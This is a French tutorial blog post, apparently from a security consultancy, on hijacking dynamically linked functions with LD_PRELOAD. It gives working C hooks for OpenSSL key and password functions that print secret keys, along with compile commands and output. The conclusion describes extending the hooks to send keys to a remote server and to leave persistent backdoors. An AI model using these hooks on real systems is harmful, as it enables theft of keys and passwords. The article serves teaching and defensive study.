Sécurité applicative : le détournement des fonctions internes d'un programme

le 22/10/2024 par Benjamin Gigon
Tags: Software Engineering

Niveau 1, Introduction
Ce scénario et ses uses-cases se veulent être relativement simples afin de comprendre rapidement et facilement différentes méthodes de contournement de sécurité applicative. Pour les plus puristes : soyez indulgents sur les explications, elles se veulent didactiques et vulgarisées pour le plus grand nombre :)

Préambule à l'article

Lors d'une mission, un client souhaitait vérifier la sécurité de son logiciel.

Son logiciel utilisait fortement les méthodes cryptographiques afin de délivrer un service particulier à ses clients. Son logiciel était déployé sur une multitude de serveurs hébergés par les clients eux-mêmes, ils avaient donc accès à son logiciel sans contrainte particulière. Ne voulant pas trop rentrer dans les détails, les données manipulées étaient critiques et une possibilité de déchiffrer les données en dehors du workflow prévu ou de pouvoir récupérer des données sensibles (comme des clefs de chiffrements ou des certificats privés) était considérée comme une faille majeure et une perte de certification de l'autorité de certifications.

Le but du client était de savoir si son logiciel était assez sécurisé pour ne pas compromettre la sécurité globale de toute son architecture logicielle. Pour cela, le défi était de voir s'il était possible d'extraire toutes informations sensibles ou cryptographiques venant de son logiciel (données non chiffrées, clefs de chiffrement, certificats privés, etc...)

Après une (très) brève recherche, nous avons pu mettre en évidence des techniques de contournements permettant d'extraire des données sensibles, des clefs et des certificats privés sans toucher à l'applicatif ni même en étant intrusif et sans laisser de trace.

La méthode présentée ici est un résumé (et anonymisée) d'une des techniques utilisées lors de cette mission.

Généralité sur les fonctions

Pour faire simple, les applications sont découpées dans de multiples tâches internes appelées fonctions. Ces fonctions sont pour la plupart à l'intérieur même du projet. Ainsi, si vous faites :

(...)
void display(void) {
    printf("Hello World !\n");
}
(...)
int main(void) {
    display();
}

Votre fonction display fait partie même de votre projet, vous l'avez codé et vous connaissez sa structure interne.

A contrario, la fonction printf ne fait partie de votre projet, elle fait partie d'une bibliothèque externe et sera intégrée (directement ou indirectement) à votre programme lors de la phase de compilation. printf fait partie - pour notre cas - de la glibc.

Lors d'une compilation, vous avez le choix entre une liaison dynamique ou une liaison statique avec ces fonctions "externes".

  • La liaison dynamique va laisser la "définition" des fonctions externes dans leurs bibliothèques associées. Par exemple, pour printf, cette dernière sera dans la glibc donc libc.so. On utilise cette méthode pour plusieurs raisons dont la réuséabilité, l'empreinte mémoire, la taille du binaire et les mises-à-jour facilités des différentes bibliothèques (par exemple, si une faille est découverte dans printf, nous n'aurons pas besoin de recompiler l'ensemble des programmes utilisant printf, il suffira simplement d'upgrader la bibliothèque)

  • A contrario, dans la liaison statique, les différentes "définitions" des fonctions "externes" vont se retrouver intégrées au sein même de votre binaire (vous aurez donc par conséquent un binaire plus gros).

La quasi-totalité des logiciels utilisent la liaison dynamique.

Mais si nous détournions ces fonctions "externes" sans toucher à notre binaire d'origine ?

Il existe plusieurs méthodes pour effectuer un hook de ce style, voyons la plus simple pour l'instant :)

Mise en pratique

Afin d’étudier cette méthode simplement, nous allons d’abord l’observer sur un programme d’exemple “cible” codé par nos soins, se voulant très simpliste, et dont voici le code source :

#include <openssl/conf.h>
#include <openssl/evp.h>

int main(void) {
        const unsigned char key[128] = "ThisIsMyMagicalAndHiddenKey!";
        const unsigned char iv[128]  = {
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
        };

        EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
        EVP_EncryptInit(ctx, EVP_aes_256_cbc(), key, iv);

        // (...)

        return 0;
}

Pour conceptualiser plus rapidement les tenants et les aboutissants de cette méthode, nous avons développé un bout de programme effectuant des activités cryptographiques simples.

Ce programme ne fait rien de bien concret, nous n'avons pas besoin d'aller plus loin pour l'instant dans notre programme, notre but étant de détourner la fonction EVP_EncryptInit qui est une fonction de base dans OpenSSL pour capturer la clef de chiffrement stockée dans la variable interne key.

Pour décrire rapidement le programme, ce dernier ne fait rien d'autre que d'initialiser le moteur cryptographique d'OpenSSL afin de lancer une procédure de chiffrement via l'algorithme AES-256-CBC.

L'algorithme AES-256-CBC a besoin (principalement) de deux paramètres:

  • Une clef de chiffrement: elle va être utilisée (directement ou indirectement) pour chiffrer nos données. Elle sera stockée dans notre exemple dans la variable key
  • Une vecteur d'initialisation : pour faire (très) simple, l'algorithme AES-CBC est un chiffrement par bloc, chaque bloc est chiffré en prenant en compte le résultat du chiffrement du précédent bloc. Cependant, quid du tout premier bloc ? Sur quel précédent bloc va t'il se baser vu qu'il n'en existe aucun ? C'est là que le vecteur d'initialisation rentre en action, il va nous servir comme "faux résultat d'un précédent bloc" et va nous servir pour le chiffrement du premier bloc. Ce vecteur d'initialisation, souvent surnommé IV, est stocké dans notre variable iv.

Nous allons maintenant compiler notre petit programme d'exemple :

$ gcc -Wall example.c -o example $(pkg-config –libs –cflags libcrypto libssl)

Par défaut, notre compilation va générer un programme utilisant la méthode des liens dynamiques.

Si nous démarrons notre programme, nous avons …

$ ./example
$ _

... rien. C'est parfaitement normal :-)

Notre programme fonctionne correctement, il a simplement initialisé son moteur cryptographie AES-256-CBC avant de s'arrêter sans rien faire (nous ne faisons aucune opération de chiffrement après)

Si nous analysons les liens dynamiques vers les différentes librairies utilisées :

# méthode classique avec ldd
$ ldd ./example
  linux-vdso.so.1 (0x...)
  libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x...)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
  /lib64/ld-linux-x86-64.so.2 (0x...)

# méthode via variable env et ld-so
$ LD_TRACE_LOADED_OBJECTS=1 ./example 
  linux-vdso.so.1 (0x...)
  libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x...)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
  /lib64/ld-linux-x86-64.so.2 (0x...)

Avec les 2 ou 3 librairies classiques (libc par exemple), nous voyons que notre programme utilise une des parties de la librairie cryptographique OpenSSL via le module libcrypto.so

Pour simplifier : lors de son exécution, notre programme va piocher dans la libcrypto et utiliser deux fonctions qu'il ne possède pas en "interne" de son programme :

  • EVP_CIPHER_CTX_new()
  • EVP_EncryptInit()

Ces deux fonctions sont implémentées dans libcrypto, dont leurs codes sources se trouvent ici :

Nous pouvons analyser l'ensemble des appels avec ltrace (la sortie a été nettoyée pour des raisons de visibilité) qui va nous lister les différents appels des fonctions vers les bibliothèques :

$ ltrace -ff ./example
EVP_CIPHER_CTX_new(1, 0x..., 0x..., 0x...)
EVP_aes_256_cbc(0, 0, 0, 0)
EVP_EncryptInit(0x..., 0x..., 0x..., 0x...)
+++ exited (status 0) +++

Nous constatons nos différents appels des fonctions OpenSSL implémentées dans notre programme, et leurs activités respectives.

Imaginons que nous ne connaissions pas le code source de cette application, mais nous voudrions extraire la clef secrète. Il existe plusieurs méthodes (strings, objdump, gdb, radare2, pour avoir quelques exemples), mais ici, nous allons essayer de se substituer à la fonction EVP_EncryptInit.

Pourquoi EVP_EncryptInit ? car c'est elle qui a besoin de la clef secrète pour initialiser le moteur cryptographique, dont voici sa définition :

int EVP_EncryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
             const unsigned char *key, const unsigned char *iv);

Avec cette information, démarrons notre implémentation.

Implémentation de notre hook

Nous utilisons le terme hook, mais voyez cela plutôt comme un Doppelganger.

Un doppelganger est une sorte de double maléfique :)

Nous allons créer le doppelganger de la fonction EVP_EncryptInit.

Pour cela, nous allons créer un fichier que nous allons nommer doppelganger.c pour notre exemple et réimplementer exactement la fonction EVP_EncryptInit avec l'ensemble de ses arguments définis comme dans la documentation (ou son implémentation)

#include <stdio.h>
#include <openssl/evp.h>

int EVP_EncryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, 
            const unsigned char *key, const unsigned char *iv) {
    return 0;
}

Rien de plus... (pour l'instant)

Maintenant, nous allons vérifier si notre doppelganger est parfaitement accepté lors de la greffe.

Pour cela, nous devons effectuer deux actions :

  • Compiler notre doppelganger sous forme de module (.so)
  • Utiliser la méthode ld preload

Compilation de notre module doppelganger

Nous allons compiler notre programme en utilisant quelques paramètres spécifiques lors de la compilation car nous avons besoin qu’il soit sous forme de module :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"

Nous nous retrouvons avec un module .so que nous pouvons pré-analyser avec un petit file:

$ file "doppelganger.so"
doppelganger.so: ELF 64-bit LSB shared object, x86-64, version 1 
(SYSV), dynamically linked, BuildID[sha1]=xxxxxxxx, not stripped

Nous constatons que nous avons bien un "shared object".

Voyons maintenant le chargement dynamique de cette nouvelle librairie au sein de notre application.

Chargement de notre module doppelganger

Un programme "dynamique" sous Linux est géré (entre autres) par le "dynamic link loader", aka ld.so.

Essayez d'exécuter votre ld.so :

$ /lib64/ld-linux-*so* --help
Usage: /lib64/ld-linux-x86-64.so.2 [OPTION]... EXECUTABLE-FILE
[ARGS-FOR-PROGRAM...]
You have invoked 'ld.so', the program interpreter for
dynamically-linked ELF programs.  Usually, the program interpreter is 
invoked automatically when a dynamically-linked executable is started.
You may invoke the program interpreter program directly from the 
command line to load and run an ELF executable file; this is like 
executing that file itself, but always uses the program interpreter you 
Invoked, instead of the program interpreter specified in the executable 
file you run.  Invoking the program interpreter directly provides 
access to additional diagnostics, and changing the dynamic linker 
behavior without setting environment variables (which would be 
inherited by subprocesses).
(...)

Oui, ld.so est un programme. Plus encore, c'est un interprétateur de binaire dynamique. Quand vous exécutez un binaire dynamique sous Linux, vous exécutez de facto ld.so ! (une sorte de wrapper si vous voulez)

Il existe deux manières d'injecter notre petit module:

  • La méthode la moins connue en utilisant ld.so comme programme :
$ /lib64/ld-linux-x86-64.so.2 --preload "./doppelganger.so" "./example"
  • La méthode la plus connue est simplement de définir la variable LD_PRELOAD :

LD_PRELOAD permet d'indiquer un module que nous souhaitons intégrer et charger lors du démarrage d'un programme. Elle va être interprétée par ld.so et changer le comportement lors du chargement des bibliothèques :

$ LD_PRELOAD="./doppelganger.so" "./example"
$ _

Aucune sortie comme auparavant. Au moins, notre application n'a pas planté :-)

Notez que ce comportement est normal dans notre exemple, nous verrons par la suite que notre doppelganger minimaliste de EVP_EncryptInit fera stopper ou planter les autres programmes.

Analysons ce qu'il se passe avec ldd :

$ LD_PRELOAD="./doppelganger.so" ldd "./example" 
  linux-vdso.so.1 (0x...)
  ./doppelganger.so (0x...)
  libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x...)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x...)
  /lib64/ld-linux-x86-64.so.2 (0x...)

Nous constatons que, maintenant, notre module "doppeldanger.so" est intégré dans la liste des bibliothèques chargées par le programme.

Si nous effectuons de nouveau un ltrace dessus :

$ LD_PRELOAD="./doppelganger.so" ltrace -ff "./example" 
EVP_CIPHER_CTX_new(1, 0x..., 0x..., 0x...)
EVP_aes_256_cbc(0, 0, 0, 0)
EVP_EncryptInit(0x..., 0x..., 0x..., 0x...)
+++ exited (status 0) +++

En dehors des adresses, nous avons le même genre d'output qu'auparavant

Maintenant que nous constatons que notre greffe fonctionne, ce qui nous intéresse maintenant, sera de "manipuler" l'intérieur de notre EVP_EncryptInit.

Pour cela, reprenons le code de notre doppelganger en ajoutant simplement quelques lignes :

int EVP_EncryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type, 
            const unsigned char *key, const unsigned char *iv) {
    if ( key != NULL ) {
        BIO_dump_fp(stdout, (const char *)key, 128);
    }
    return 0;
}

Nous n'avons ici ajouté que quelques lignes utiles :

  • Un simple vérificateur de valeur (if key != NULL) afin d'éviter d'éventuels plantages sur une valeur nulle
  • Une fonction interne à OpenSSL - un helper appelé BIO_dump_fp - qui va afficher le contenu de notre variable key (notez que nous aurions pu tout autant utiliser un simple printf, mais BIO_dump_fp ajoute un petit affichage sympathique :-) (notez que pour des raisons de visibilité dans l’article, cet affichage a été modifié)

Recompilons notre module et lançons notre programme dans la foulée :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"
$ LD_PRELOAD="./doppelganger.so" ./example
0x54 0x68 0x69 0x73 0x49 0x73 0x4d 0x79 0x4d 0x61 0x67 0x69 0x63 0x61 0x6c 
0x41 0x6e 0x64 0x48 0x69 0x64 0x64 0x65 0x6e 0x4b 0x65 0x79 0x21  
"ThisIsMyMagicalAndHiddenKey!"

Nous venons de détourner la fonction EVP_EncryptInit de notre applicatif et d'extraire notre clef secrète et cela, sans modifier notre programme d’origine !

Utilisation sur un programme externe

Maintenant, que nous avons testé la méthode sur un applicatif que nous maîtrisons, utilisons notre doppelganger directement sur un autre programme, par exemple openssl :

$ openssl aes-256-cbc

Avec ces arguments, OpenSSL va vous demander une clef de chiffrement pour débuter le chiffrement, puis va rester bloqué car il s'attend à obtenir des données en stdin, donc faites directement CTRL+C :

$ LD_PRELOAD="./doppelganger.so" openssl aes-256-cbc 
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
CTRL+C
$ _

Et... nous avons rien d'autre !... notre doppelganger ne marche pas ?

Nous allons maintenant étudier pourquoi. Pour cela, nous allons faire simple, avec notre ltrace des familles :

$ LD_PRELOAD="./doppelganger.so" ltrace -ff openssl aes-256-cbc
__(...)__
CRYPTO_malloc(512, 0x..., 630, 0)
CRYPTO_malloc(0x..., 0x..., 630, 0)
BIO_new_fp(0x..., 0, 2, 0)
EVP_CIPHER_get0_name(0x..., 0, 0x..., 0)
BIO_snprintf(0x..., 200, 0x..., 0x...)
EVP_read_pw_string(0x..., 512, 0x..., "enter AES-256-CBC encryption password:")
BIO_new_fp(0x..., 0, 2, 0)
RAND_bytes(0x..., 8, 0x..., 1)
BIO_write(0x..., 0x..., 8, 0)
BIO_write(0x..., 0x..., 8, 0)
EVP_BytesToKey(0x..., 0x..., 0x..., 0x...)
OPENSSL_cleanse(0x..., 512, 0, 0)
BIO_f_cipher(0x..., 0, 0, 0)
BIO_new(0x..., 0, 0, 0)
BIO_ctrl(0x..., 129, 0, 0x...)
EVP_CipherInit_ex(0x..., 0x..., 0, 0)
EVP_CipherInit_ex(0x..., 0, 0, 0x...)
BIO_push(0x..., 0x..., 0, 0)
BIO_ctrl(0x..., 10, 0, 0)
BIO_ctrl(0x..., 2, 0, 0)
BIO_read(0x..., 0x..., 8192, 0)
CTRL+C
$ _

Dans ce charabia très fortement réduit toujours pour des raisons de visibilité, vous aurez les mêmes trois contraintes : il faudra taper 2 fois le mot de passe et un CTRL+C sur BIO_read() car il s'attend à lire sur le stdin.

ltrace peut être très verbeux, vous pouvez filtrer avec l'argument -e :
Exemple : ltrace -ff -e "OPENSSL*" -e "BIO*" -e "EVP*" openssl

Si on analyse les fonctions entre notre fonction EVP_read_pw_string (mais qui nous intéresse pas car elle ne fait que lire votre input lors de la saisie du mot de passe) et jusqu'à EVP_CipherInit_ex, nous voyons un petit EVP_BytesToKey entre :

BIO_new_fp(0x..., 0, 2, 0)
RAND_bytes(0x..., 8, 0x..., 1)
BIO_write(0x..., 0x..., 8, 0)
BIO_write(0x..., 0x..., 8, 0)
EVP_BytesToKey(0x..., 0x..., 0x..., 0x...)              <===========
OPENSSL_cleanse(0x..., 512, 0, 0)
BIO_f_cipher(0x..., 0, 0, 0)
BIO_new(0x..., 0, 0, 0)
BIO_ctrl(0x..., 129, 0, 0x...)
EVP_CipherInit_ex(0x..., 0x..., 0, 0)  

Cette fonction est intéressante, elle a une tâche très précise à effectuer, celle de faire dériver notre clef à l'aide de certains paramètres.

Nous n’allons pas décrire le principe de la dérivation de clef, elle est en dehors de notre scope, gardez juste en mémoire qu’une dérivation de clef va prendre en entrée notre clef d’origine et sortir une autre clef plus complexe (normalement…).

Cette dérivation va être utilisée par EVP_CipherInit_ex. Si nous effectuions un doppelganger de EVP_CipherInit_ex, nous n'aurions pas la clef de chiffrement, nous n'aurions que sa dérivation. Dans certains cas, cela peut avoir une utilité mais dans notre cas, cela complexifie l'étude, il faut donc taper plus haut pour obtenir l'endroit précis où la clef est manipulée, et EVP_BytesToKey est un bon candidat.

Voyons sa définition :

int EVP_BytesToKey(const EVP_CIPHER *type,const EVP_MD *md,
                 const unsigned char *salt,
                 const unsigned char *data, int datal, int count,
                 unsigned char *key,unsigned char *iv);

Créons notre doppelganger :

int EVP_BytesToKey(const EVP_CIPHER *type, const EVP_MD *md,
                 const unsigned char *salt,
                 const unsigned char *data, int datal, int count,
                 unsigned char *key, unsigned char *iv) {
    if ( data != NULL ) {
        BIO_dump_fp(stdout, (const char *)data, datal);
    }
    return 0;
}

Pourquoi utiliser data et non key ?

La documentation nous renseigne sur la nature de chaque :

data is a buffer containing datal bytes which is used to derive the keying data.
The derived key and IV will be written to key and iv respectively.

key et iv ne serviront que pour les outputs, notre input est stocké dans la variable data.

Recompilons et relançons :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"
$ LD_PRELOAD="./doppelganger" openssl aes-256-cbc
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
0x4d 0x61 0x43 0x6c 0x65 0x66 0x55 0x6c 0x74 0x72 0x61 0x53 0x65 0x63 
0x72 0x65 0x74 0x65 0x21  "MaClefUltraSecrete!"
(CTRL+C)

Notre clef a été interceptée !

Notez que si vous essayez un chiffrement avec notre doppelganger simpliste, votre cryptographie sera erronée : notre EVP_BytesToKey ne fera pas la dérivation, key et iv seront corrompus. Mais notre but étant d’intercepter simplement la clef pour l'instant :-)

Effectuons la même manipulation avec un autre paramètre OpenSSL en utilisant pbkdf2 :

$ LD_PRELOAD=./doppelganger.so openssl aes-256-cbc -pbkdf2 
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
^C

Notre doppelganger ne (encore) marche plus ?

C'est parce que le paramètre pbkdf2 demande à OpenSSL d'utiliser une autre méthode de dérivation de clef, donc nous ne passerons plus dans EVP_BytesToKey mais par une autre fonction de dérivation de clef.

Voyons cela de nouveau avec un ltrace :

EVP_read_pw_string(0x..., 512, 0x..., "enter AES-256-CBC encryption password:")
BIO_new_fp(0x..., 0, 2, 0)
RAND_bytes(0x..., 8, 0x..., 1)
BIO_write(0x..., 0x..., 8, 0)
EVP_CIPHER_get_key_length(0x..., 4, 0x..., 0)
EVP_CIPHER_get_iv_length(0x..., 4, 0x..., 0)
PKCS5_PBKDF2_HMAC(0x..., 4, 0x..., 8)                      <===========
__memcpy_chk(0x..., 0x..., 32, 64)
__memcpy_chk(0x..., 0x..., 16, 16)
OPENSSL_cleanse(0x..., 512, 16, 16)
BIO_f_cipher(0x..., 0, 16, 16)
BIO_new(0x..., 0, 16, 16)
BIO_ctrl(0x..., 129, 0, 0x...)
EVP_CipherInit_ex(0x..., 0x..., 0, 0)
EVP_CipherInit_ex(0x..., 0, 0, 0x...)
BIO_push(0x..., 0x..., 0, 0)
BIO_ctrl(0x..., 10, 0, 0)
BIO_ctrl(0x..., 2, 0, 0)
BIO_read(0x..., 0x..., 8192, 0)

Effectivement, nous n’utilisons plus EVP_BytesToKey, nous utilisons maintenant la fonction PKCS5_PBKDF2_HMAC pour générer notre dérivation de clef, dont voici la définition :

int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
                const unsigned char *salt, int saltlen, int iter,
                const EVP_MD *digest,
                int keylen, unsigned char *out);

Cette fonction ressemble de beaucoup à notre précédente, donc allons implémenter son doppelganger :

int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
                      const unsigned char *salt, int saltlen, int iter,
                      const EVP_MD *digest,
                      int keylen, unsigned char *out) {
    if ( pass != NULL ) { 
        BIO_dump_fp(stdout, (const char *)pass, passlen);
    }
    return 0;
}

Recompilons et exécutons de nouveau :

$ gcc -fPIC "doppelganger.c" -shared -o "doppelganger.so"
$ LD_PRELOAD="./doppelganger.so" openssl aes-256-cbc -pbkdf2 
enter AES-256-CBC encryption password:
Verifying - enter AES-256-CBC encryption password:
0x4d 0x61 0x47 0x72 0x61 0x6e 0x64 0x65 0x43 0x6c 0x65 0x66 0x53 0x65 
0x63 0x72 0x65 0x74 0x65 0x21   "MaGrandeClefSecrete!"
PKCS5_PBKDF2_HMAC failed

Et voilà, nous venons d’intercepter la clef de nouveau !

Notez que la dérivation plante car elle n'est pas conforme, le processus de chiffrement s'arrête, c'est normal, notre doppelganger ne fait rien de plus que d'extraire la clef et de ne rien retourner. Le programme s'arrête de lui-même.

Bien entendu, nous avons ici un exemple très simpliste, nous avons une interaction directe avec OpenSSL et donc nous connaissons la clef de départ (que nous donnons à openssl), mais nous pourrions continuer sur d’autres programmes utilisant d‘autres méthodes cryptographiques ou différentes authentifications. Nous pourrions également détourner d’autres fonctions pour des buts totalement différents. Les perspectives sont (quasi) infinies…

Conclusion

Nous avons vu que nous pouvions détourner les appels des fonctions en interne d'un programme déjà établi et sans trop de contrainte avec peu d'outils pour étudier celui-ci.

Nos exemples se veulent simples. Mais nous pourrions imaginer avoir des doppelgangers à certains endroits - même sans besoin du LD_PRELOAD - au sein de notre système, effectuant certaines actions spécifiques à certains moments.

De plus, nos doppelgangers d’exemples, de par leur simplicité, peuvent se faire détecter rapidement car ils retournent de mauvaises données ou ont des comportements non prévus. Mais nous pourrions effectuer un véritable wrapper de la fonction d'origine depuis notre fonction doppelganger qui va effectuer correctement son travail - avec en complément - un code "malicieux". Vos programmes continueront de marcher normalement mais avec des activités annexes non voulues s'exécutant en arrière-plan.

Ici, dans nos exemples, nous ne faisons qu'un affichage brut d'une donnée, sans rien de plus. Mais imaginons avoir un code ouvrant une socket vers un serveur distant et poussant des données à chaque fois qu'une clef est demandée, générée ou utilisée, ou également un attaquant voulant laisser une porte dérobée sur un système qu’il a auparavant pénétré et voulant garder un accès permanent pour revenir plus tard et sans se faire repérer.

Nous pourrions faire cela avec n'importe quel programme, il ne faut donc jamais oublier ceci lors d'un développement : même compilé, le comportement d'un programme est toujours étudiable, modifiable et donc détournable.

Nous verrons dans un prochain article comment éviter ce genre de désagrément...